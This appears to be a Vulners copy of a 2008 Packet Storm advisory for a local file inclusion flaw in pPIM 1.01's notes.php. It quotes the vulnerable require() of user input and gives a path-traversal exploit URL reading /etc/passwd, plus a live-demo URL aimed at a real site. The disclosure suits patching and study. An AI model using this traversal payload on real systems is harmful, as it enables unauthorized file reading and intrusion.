Lucene search
K

ppim-lfi.txt

🗓️ 07 Oct 2008 00:00:00Reported by JosSType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 25 Views

pPIM 1.01 (notes.php id) Local File Inclusion Vulnerability, variable 'id' is sent by the users and not defined in code, exploit via GET reques

Code
`# pPIM 1.01 (notes.php id) Local File Inclusion Vulnerability  
# url: http://www.phlatline.org/docs/files/ppim.zip  
#  
# Author: JosS  
# mail: sys-project[at]hotmail[dot]com  
# site: http://spanish-hackers.com  
# team: Spanish Hackers Team - [SHT]  
#  
# This was written for educational purpose. Use it at your own risk.  
# Author will be not responsible for any damage.  
  
  
description of vulnerability:  
-----------------------------------------------  
the variable 'id' has been not defined in code   
and the variable 'id' is sent by the users.  
-----------------------------------------------  
  
vuln file: notes.php  
  
vuln code:  
x: >...  
107: if (isset($_GET["mode"]))  
  
{  
  
if ($_GET["mode"]=="edit")  
  
{  
  
if (isset($_GET['id']))  
  
{  
  
$notefile = $_GET['id'];  
  
if ($notefile == "new")  
  
{  
  
$title = "";  
  
$notes = "";  
  
}  
  
else  
  
{  
  
$temp = "notes/" . $notefile;  
  
require($temp);  
  
123: }  
x: <...  
x: }}}  
  
exploit: GET /notes.php?mode=edit&id=[file]  
sample (xpl): http://www.localhost.com/notes.php?mode=edit&id=../../../../../../../../../../etc/passwd  
  
live demo:  
http://www.phlatline.org/docs/demos/ppim/notes.php?mode=edit&id=../notes.php  
  
  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

07 Oct 2008 00:00Current
7.4High risk
Vulners AI Score7.4
25